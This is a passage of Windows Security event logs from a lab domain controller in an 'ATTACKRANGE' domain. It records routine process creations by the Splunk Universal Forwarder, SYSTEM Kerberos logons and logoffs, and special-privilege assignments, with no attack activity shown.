	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x67c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:23:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257317
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:23:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257319
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DCEDF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:23:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257322
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4E2453

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:23:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257321
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4E2453
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50814

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:23:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257320
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4E2453

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:24:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257323
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:24:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257324
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa24
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:24:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257325
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:24:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257326
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x117c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:24:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257327
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:24:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257329
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1010
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:24:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257328
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x548
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:24:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257330
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DA525

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:24:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257333
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4E5A20

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:24:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257332
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4E5A20
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50827

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:24:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257331
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4E5A20

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:25:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257334
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa18
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:25:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257335
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1054
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:25:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257336
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:25:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257337
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:25:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257338
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:25:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257340
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

